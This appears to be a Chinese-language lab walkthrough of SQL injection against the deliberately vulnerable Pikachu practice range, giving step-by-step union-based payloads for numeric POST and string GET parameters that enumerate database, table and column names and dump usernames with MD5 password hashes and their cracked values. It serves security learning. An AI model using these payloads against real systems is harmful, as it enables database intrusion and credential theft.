概述

在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。

一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

QLS注入攻击总体思路

  1. 寻找SQL注入位置
  2. 判断服务器类型和后台数据类型
  3. 针对不同的服务器和数据库特点进行SQL注入攻击

步骤

数字型注入(post)

首先打开burp抓包,发现时post方法

1

方法一:利用burp改包

id=1 or 1=1#		

可以看到,页面将所有id的信息返回了,可知存在数字型注入。

2

id=1' 					 报错,可判断存在SQL注入

3

确定回显字段

id=1 order by 3			报错

4

id=1 order by 2 		存在两个回显,字段数为2

5

id=1 union select 1,2		判断回显点,可以在1和2这两处位置,获得我们想要的信息

6

查询数据库名称

id=1 union select user(),database() 	 用户名为root@locallhost,数据库为pikachu

7

查询数据库pikachu下的所有表名httpinfo,member,message,users,xssblind

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'

8

id=1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#

9

查询user下所有表名

id=1 union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#    

10

id=1 union select 1, group_concat(column_name) from information_schema.columns where table_schema=database()#      

11

查询字段username和password的内容

id=1 union select group_concat(username),group_concat(password) from users

12

方法二、利用harbar

(Todo代办)

对应账号和MD5加密的密码:

admin:e10adc3949ba59abbe56e057f20f883e(123456)

pikachu:670b14728ad9902aecba32e22fa4f6bd(000000)

test:e99a18c428cb38d5f260853678922e03(abc123)

字符型注入(get)

输入:

select id,email from member where username='' or 1=1-- q'
或
?name=%27&submit=查询     %27  == '  get

13

也可以直接在url中的name参数后进行修改

name=%27&submit=查询				报错,判断存在SQL注入

14

查询出所有账户数据

' or 1=1-- q			

15

确定回显字段

' order by 3 -- q		报错

16

' order by 2 -- q				有两个回显

17

' union select 1,2 -- q				判断回显点

18

' union select user(),database() -- q		可知用户名为root@localhost,数据库名为pikachu

19

查询数据库pikachu下的所有表名httpinfo,member,message,users,xssblind

' union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' -- q

20

查询user下所有表明 user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,level,id,username,password

' union select 1, group_concat(column_name) from information_schema.columns where table_name='users' -- q

21

查询字段username和password的内容

' union select group_concat(username),group_concat(password) from users -- q

22


参考链接:

无垠安全:https://www.wuyini.cn/952.html

Pikachu靶场通关之SQL注入 - FreeBuf网络安全行业门户:https://www.freebuf.com/articles/web/254079.html